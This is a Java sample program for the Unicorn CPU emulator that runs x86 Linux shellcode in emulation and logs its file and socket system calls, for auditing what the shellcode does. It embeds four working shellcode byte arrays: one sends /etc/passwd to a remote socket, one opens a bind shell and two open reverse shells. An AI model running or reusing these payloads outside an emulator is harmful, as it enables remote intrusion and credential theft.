1 /* 2 3 Java bindings for the Unicorn Emulator Engine 4 5 Copyright(c) 2015 Chris Eagle 6 7 This program is free software; you can redistribute it and/or 8 modify it under the terms of the GNU General Public License 9 version 2 as published by the Free Software Foundation. 10 11 This program is distributed in the hope that it will be useful, 12 but WITHOUT ANY WARRANTY; without even the implied warranty of 13 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 GNU General Public License for more details. 15 16 You should have received a copy of the GNU General Public License 17 along with this program; if not, write to the Free Software 18 Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 19 20 */ 21 22 /* 23 Unicorn sample for auditing network connection and file handling in shellcode. 24 Nguyen Tan Cong <shenlongbk@gmail.com> 25 */ 26 27 import unicorn.*; 28 import java.util.*; 29 30 31 public class SampleNetworkAuditing { 32 33 public static int next_id = 3; 34 public static final int SIZE_REG = 4; 35 36 private static LogChain fd_chains = new LogChain(); 37 get_id()38 public static int get_id() { 39 return next_id++; 40 } 41 toInt(byte val[])42 public static final long toInt(byte val[]) { 43 long res = 0; 44 for (int i = 0; i < val.length; i++) { 45 long v = val[i] & 0xff; 46 res = res + (v << (i * 8)); 47 } 48 return res; 49 } 50 toBytes(long val)51 public static final byte[] toBytes(long val) { 52 byte[] res = new byte[8]; 53 for (int i = 0; i < 8; i++) { 54 res[i] = (byte)(val & 0xff); 55 val >>>= 8; 56 } 57 return res; 58 } 59 60 61 private static class MyInterruptHook implements InterruptHook { 62 // callback for tracing Linux interrupt hook(Unicorn uc, int intno, Object user)63 public void hook(Unicorn uc, int intno, Object user) { 64 // System.err.println(String.format("Interrupt 0x%x, from Unicorn 0x%x", intno, u.hashCode())); 65 66 // only handle Linux syscall 67 if (intno != 0x80) { 68 return; 69 } 70 Long eax = (Long)uc.reg_read(Unicorn.UC_X86_REG_EAX); 71 Long ebx = (Long)uc.reg_read(Unicorn.UC_X86_REG_EBX); 72 Long ecx = (Long)uc.reg_read(Unicorn.UC_X86_REG_ECX); 73 Long edx = (Long)uc.reg_read(Unicorn.UC_X86_REG_EDX); 74 Long eip = (Long)uc.reg_read(Unicorn.UC_X86_REG_EIP); 75 76 // System.out.printf(">>> INTERRUPT %d\n", toInt(eax)); 77 78 if (eax == 1) { // sys_exit 79 System.out.printf(">>> SYS_EXIT\n"); 80 uc.emu_stop(); 81 } 82 else if (eax == 3) { // sys_read 83 long fd = ebx; 84 long buf = ecx; 85 long count = edx; 86 87 String uuid = UUID.randomUUID().toString().substring(0, 32); 88 89 byte[] dummy_content = Arrays.copyOfRange(uuid.getBytes(), 0, (int)Math.min(count, uuid.length())); 90 uc.mem_write(buf, dummy_content); 91 92 String msg = String.format("read %d bytes from fd(%d) with dummy_content(%s)", count, fd, uuid.substring(0, dummy_content.length)); 93 94 fd_chains.add_log(fd, msg); 95 System.out.printf(">>> %s\n", msg); 96 } 97 else if (eax == 4) { // sys_write 98 long fd = ebx; 99 long buf = ecx; 100 long count = edx; 101 102 byte[] content = uc.mem_read(buf, count); 103 104 String msg = String.format("write data=%s count=%d to fd(%d)", new String(content), count, fd); 105 106 System.out.printf(">>> %s\n", msg); 107 fd_chains.add_log(fd, msg); 108 } 109 else if (eax == 5) { // sys_open 110 long filename_addr = ebx; 111 long flags = ecx; 112 long mode = edx; 113 String filename = read_string(uc, filename_addr); 114 115 Long dummy_fd = new Long(get_id()); 116 uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd); 117 118 String msg = String.format("open file (filename=%s flags=%d mode=%d) with fd(%d)", filename, flags, mode, dummy_fd); 119 120 fd_chains.create_chain(dummy_fd); 121 fd_chains.add_log(dummy_fd, msg); 122 System.out.printf(">>> %s\n", msg); 123 } 124 else if (eax == 11) { // sys_execv 125 // System.out.printf(">>> ebx=0x%x, ecx=0x%x, edx=0x%x\n", ebx, ecx, edx)); 126 String filename = read_string(uc, ebx); 127 128 System.out.printf(">>> SYS_EXECV filename=%s\n", filename); 129 } 130 else if (eax == 63) { // sys_dup2 131 fd_chains.link_fd(ecx, ebx); 132 System.out.printf(">>> SYS_DUP2 oldfd=%d newfd=%d\n", ebx, ecx); 133 } 134 else if (eax == 102) { // sys_socketcall 135 // ref: http://www.skyfree.org/linux/kernel_network/socket.html 136 Long call = (Long)uc.reg_read(Unicorn.UC_X86_REG_EBX); 137 Long args = (Long)uc.reg_read(Unicorn.UC_X86_REG_ECX); 138 139 // int sys_socketcall(int call, unsigned long *args) 140 if (call == 1) { // sys_socket 141 // err = sys_socket(a0,a1,a[2]) 142 // int sys_socket(int family, int type, int protocol) 143 long family = toInt(uc.mem_read(args, SIZE_REG)); 144 long sock_type = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); 145 long protocol = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); 146 147 Long dummy_fd = new Long(get_id()); 148 uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd.intValue()); 149 150 if (family == 2) { // AF_INET 151 String msg = String.format("create socket (%s, %s) with fd(%d)", ADDR_FAMILY.get(family), SOCKET_TYPES.get(sock_type), dummy_fd); 152 fd_chains.create_chain(dummy_fd); 153 fd_chains.add_log(dummy_fd, msg); 154 print_sockcall(msg); 155 } 156 else if (family == 3) { // AF_INET6 157 } 158 } 159 else if (call == 2) { // sys_bind 160 long fd = toInt(uc.mem_read(args, SIZE_REG)); 161 long umyaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); 162 long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); 163 164 byte[] sock_addr = uc.mem_read(umyaddr, addrlen); 165 166 String msg = String.format("fd(%d) bind to %s", fd, parse_sock_address(sock_addr)); 167 fd_chains.add_log(fd, msg); 168 print_sockcall(msg); 169 } 170 else if (call == 3) { // sys_connect 171 // err = sys_connect(a0, (struct sockaddr *)a1, a[2]) 172 // int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen) 173 long fd = toInt(uc.mem_read(args, SIZE_REG)); 174 long uservaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); 175 long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); 176 177 byte[] sock_addr = uc.mem_read(uservaddr, addrlen); 178 String msg = String.format("fd(%d) connect to %s", fd, parse_sock_address(sock_addr)); 179 fd_chains.add_log(fd, msg); 180 print_sockcall(msg); 181 } 182 else if (call == 4) { // sys_listen 183 long fd = toInt(uc.mem_read(args, SIZE_REG)); 184 long backlog = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); 185 186 String msg = String.format("fd(%d) listened with backlog=%d", fd, backlog); 187 fd_chains.add_log(fd, msg); 188 print_sockcall(msg); 189 } 190 else if (call == 5) { // sys_accept 191 long fd = toInt(uc.mem_read(args, SIZE_REG)); 192 long upeer_sockaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); 193 long upeer_addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); 194 195 // System.out.printf(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d\n" % (upeer_sockaddr, upeer_addrlen)) 196 197 if (upeer_sockaddr == 0x0) { 198 print_sockcall(String.format("fd(%d) accept client", fd)); 199 } 200 else { 201 long upeer_len = toInt(uc.mem_read(upeer_addrlen, 4)); 202 203 byte[] sock_addr = uc.mem_read(upeer_sockaddr, upeer_len); 204 205 String msg = String.format("fd(%d) accept client with upeer=%s", fd, parse_sock_address(sock_addr)); 206 fd_chains.add_log(fd, msg); 207 print_sockcall(msg); 208 } 209 } 210 else if (call == 9) { // sys_send 211 long fd = toInt(uc.mem_read(args, SIZE_REG)); 212 long buff = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); 213 long length = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); 214 long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG)); 215 216 byte[] buf = uc.mem_read(buff, length); 217 String msg = String.format("fd(%d) send data=%s", fd, new String(buf)); 218 fd_chains.add_log(fd, msg); 219 print_sockcall(msg); 220 } 221 else if (call == 11) { // sys_receive 222 long fd = toInt(uc.mem_read(args, SIZE_REG)); 223 long ubuf = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); 224 long size = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); 225 long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG)); 226 227 String msg = String.format("fd(%d) is gonna receive data with size=%d flags=%d", fd, size, flags); 228 fd_chains.add_log(fd, msg); 229 print_sockcall(msg); 230 } 231 else if (call == 13) { // sys_shutdown 232 long fd = toInt(uc.mem_read(args, SIZE_REG)); 233 long how = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); 234 235 String msg = String.format("fd(%d) is shutted down because of %d", fd, how); 236 fd_chains.add_log(fd, msg); 237 print_sockcall(msg); 238 } 239 } 240 } 241 } 242 243 public static final Hashtable<Long, String> SOCKET_TYPES; 244 public static final Hashtable<Long, String> ADDR_FAMILY; 245 static { 246 SOCKET_TYPES = new Hashtable<Long, String>(); 247 ADDR_FAMILY = new Hashtable<Long, String>(); 248 SOCKET_TYPES.put(1L, "SOCK_STREAM"); 249 SOCKET_TYPES.put(2L, "SOCK_DGRAM"); 250 SOCKET_TYPES.put(3L, "SOCK_RAW"); 251 SOCKET_TYPES.put(4L, "SOCK_RDM"); 252 SOCKET_TYPES.put(5L, "SOCK_SEQPACKET"); 253 SOCKET_TYPES.put(10L, "SOCK_PACKET"); 254 255 ADDR_FAMILY.put(0L, "AF_UNSPEC"); 256 ADDR_FAMILY.put(1L, "AF_UNIX"); 257 ADDR_FAMILY.put(2L, "AF_INET"); 258 ADDR_FAMILY.put(3L, "AF_AX25"); 259 ADDR_FAMILY.put(4L, "AF_IPX"); 260 ADDR_FAMILY.put(5L, "AF_APPLETALK"); 261 ADDR_FAMILY.put(6L, "AF_NETROM"); 262 ADDR_FAMILY.put(7L, "AF_BRIDGE"); 263 ADDR_FAMILY.put(8L, "AF_AAL5"); 264 ADDR_FAMILY.put(9L, "AF_X25"); 265 ADDR_FAMILY.put(10L, "AF_INET6"); 266 ADDR_FAMILY.put(12L, "AF_MAX"); 267 } 268 269 // http://shell-storm.org/shellcode/files/shellcode-861.php 270 public static final byte[] X86_SEND_ETCPASSWD = {106,102,88,49,-37,67,49,-46,82,106,1,106,2,-119,-31,-51,-128,-119,-58,106,102,88,67,104,127,1,1,1,102,104,48,57,102,83,-119,-31,106,16,81,86,-119,-31,67,-51,-128,-119,-58,106,1,89,-80,63,-51,-128,-21,39,106,5,88,91,49,-55,-51,-128,-119,-61,-80,3,-119,-25,-119,-7,49,-46,-74,-1,-78,-1,-51,-128,-119,-62,106,4,88,-77,1,-51,-128,106,1,88,67,-51,-128,-24,-44,-1,-1,-1,47,101,116,99,47,112,97,115,115,119,100}; 271 // http://shell-storm.org/shellcode/files/shellcode-882.php 272 public static final byte[] X86_BIND_TCP = {106,102,88,106,1,91,49,-10,86,83,106,2,-119,-31,-51,-128,95,-105,-109,-80,102,86,102,104,5,57,102,83,-119,-31,106,16,81,87,-119,-31,-51,-128,-80,102,-77,4,86,87,-119,-31,-51,-128,-80,102,67,86,86,87,-119,-31,-51,-128,89,89,-79,2,-109,-80,63,-51,-128,73,121,-7,-80,11,104,47,47,115,104,104,47,98,105,110,-119,-29,65,-119,-54,-51,-128}; 273 // http://shell-storm.org/shellcode/files/shellcode-883.php 274 public static final byte[] X86_REVERSE_TCP = {106,102,88,106,1,91,49,-46,82,83,106,2,-119,-31,-51,-128,-110,-80,102,104,127,1,1,1,102,104,5,57,67,102,83,-119,-31,106,16,81,82,-119,-31,67,-51,-128,106,2,89,-121,-38,-80,63,-51,-128,73,121,-7,-80,11,65,-119,-54,82,104,47,47,115,104,104,47,98,105,110,-119,-29,-51,-128}; 275 // http://shell-storm.org/shellcode/files/shellcode-849.php 276 public static final byte[] X86_REVERSE_TCP_2 = {49,-64,49,-37,49,-55,49,-46,-80,102,-77,1,81,106,6,106,1,106,2,-119,-31,-51,-128,-119,-58,-80,102,49,-37,-77,2,104,-64,-88,1,10,102,104,122,105,102,83,-2,-61,-119,-31,106,16,81,86,-119,-31,-51,-128,49,-55,-79,3,-2,-55,-80,63,-51,-128,117,-8,49,-64,82,104,110,47,115,104,104,47,47,98,105,-119,-29,82,83,-119,-31,82,-119,-30,-80,11,-51,-128}; 277 278 // memory address where emulation starts 279 public static final int ADDRESS = 0x1000000; 280 join(ArrayList<String> l, String sep)281 public static String join(ArrayList<String> l, String sep) { 282 boolean first = true; 283 StringBuilder res = new StringBuilder(); 284 for (String s : l) { 285 if (!first) { 286 res.append(sep); 287 } 288 res.append(s); 289 first = false; 290 } 291 return res.toString(); 292 } 293 294 private static class LogChain { 295 public Hashtable<Long, ArrayList<String>> __chains = new Hashtable<Long, ArrayList<String>>(); 296 public Hashtable<Long, ArrayList<Long>> __linking_fds = new Hashtable<Long, ArrayList<Long>>(); 297 clean()298 public void clean() { 299 __chains.clear(); 300 __linking_fds.clear(); 301 } 302 create_chain(long id)303 public void create_chain(long id) { 304 if (!__chains.containsKey(id)) { 305 __chains.put(id, new ArrayList<String>()); 306 } 307 else { 308 System.out.printf("LogChain: id %d existed\n", id); 309 } 310 } 311 add_log(long id, String msg)312 public void add_log(long id, String msg) { 313 long fd = get_original_fd(id); 314 315 if (fd != -1) { 316 __chains.get(fd).add(msg); 317 } 318 else { 319 System.out.printf("LogChain: id %d doesn't exist\n", id); 320 } 321 } 322 link_fd(long from_fd, long to_fd)323 public void link_fd(long from_fd, long to_fd) { 324 if (!__linking_fds.containsKey(to_fd)) { 325 __linking_fds.put(to_fd, new ArrayList<Long>()); 326 } 327 328 __linking_fds.get(to_fd).add(from_fd); 329 } 330 get_original_fd(long fd)331 public long get_original_fd(long fd) { 332 if (__chains.containsKey(fd)) { 333 return fd; 334 } 335 336 for (Long orig_fd : __linking_fds.keySet()) { 337 if (__linking_fds.get(orig_fd).contains(fd)) 338 return orig_fd; 339 } 340 return -1; 341 } 342 print_report()343 public void print_report() { 344 System.out.printf("\n----------------"); 345 System.out.printf("\n| START REPORT |"); 346 System.out.printf("\n----------------\n\n"); 347 for (Long fd : __chains.keySet()) { 348 System.out.printf("---- START FD(%d) ----\n", fd); 349 System.out.println(join(__chains.get(fd), "\n")); 350 System.out.printf("---- END FD(%d) ----\n", fd); 351 } 352 System.out.printf("\n--------------"); 353 System.out.printf("\n| END REPORT |"); 354 System.out.printf("\n--------------\n\n"); 355 } 356 } 357 // end supported classes 358 359 // utilities read_string(Unicorn uc, long addr)360 static String read_string(Unicorn uc, long addr) { 361 StringBuilder ret = new StringBuilder(); 362 char c; 363 do { 364 c = (char)(uc.mem_read(addr++, 1)[0] & 0xff); 365 if (c != 0) { 366 ret.append(c); 367 } 368 } while (c != 0); 369 370 return ret.toString(); 371 } 372 parse_sock_address(byte[] sock_addr)373 static String parse_sock_address(byte[] sock_addr) { 374 int sin_family = ((sock_addr[0] & 0xff) + (sock_addr[1] << 8)) & 0xffff; 375 376 if (sin_family == 2) { // AF_INET 377 int sin_port = ((sock_addr[3] & 0xff) + (sock_addr[2] << 8)) & 0xffff; 378 return String.format("%d.%d.%d.%d:%d", sock_addr[4] & 0xff, sock_addr[5] & 0xff, sock_addr[6] & 0xff, sock_addr[7] & 0xff, sin_port); 379 } 380 else if (sin_family == 6) // AF_INET6 381 return ""; 382 return null; 383 } 384 print_sockcall(String msg)385 static void print_sockcall(String msg) { 386 System.out.printf(">>> SOCKCALL %s\n", msg); 387 } 388 // end utilities 389 test_i386(byte[] code)390 static void test_i386(byte[] code) { 391 fd_chains.clean(); 392 System.out.printf("Emulate i386 code\n"); 393 try { 394 // Initialize emulator in X86-32bit mode 395 Unicorn mu = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); 396 397 // map 2MB memory for this emulation 398 mu.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); 399 400 // write machine code to be emulated to memory 401 mu.mem_write(ADDRESS, code); 402 403 // initialize stack 404 mu.reg_write(Unicorn.UC_X86_REG_ESP, new Long(ADDRESS + 0x200000)); 405 406 // handle interrupt ourself 407 mu.hook_add(new MyInterruptHook(), null); 408 409 // emulate machine code in infinite time 410 mu.emu_start(ADDRESS, ADDRESS + code.length, 0, 0); 411 412 // now print out some registers 413 System.out.printf(">>> Emulation done\n"); 414 415 } catch (UnicornException uex) { 416 System.out.printf("ERROR: %s\n", uex.getMessage()); 417 } 418 419 fd_chains.print_report(); 420 } 421 main(String args[])422 public static void main(String args[]) { 423 test_i386(X86_SEND_ETCPASSWD); 424 test_i386(X86_BIND_TCP); 425 test_i386(X86_REVERSE_TCP); 426 test_i386(X86_REVERSE_TCP_2); 427 } 428 429 } 430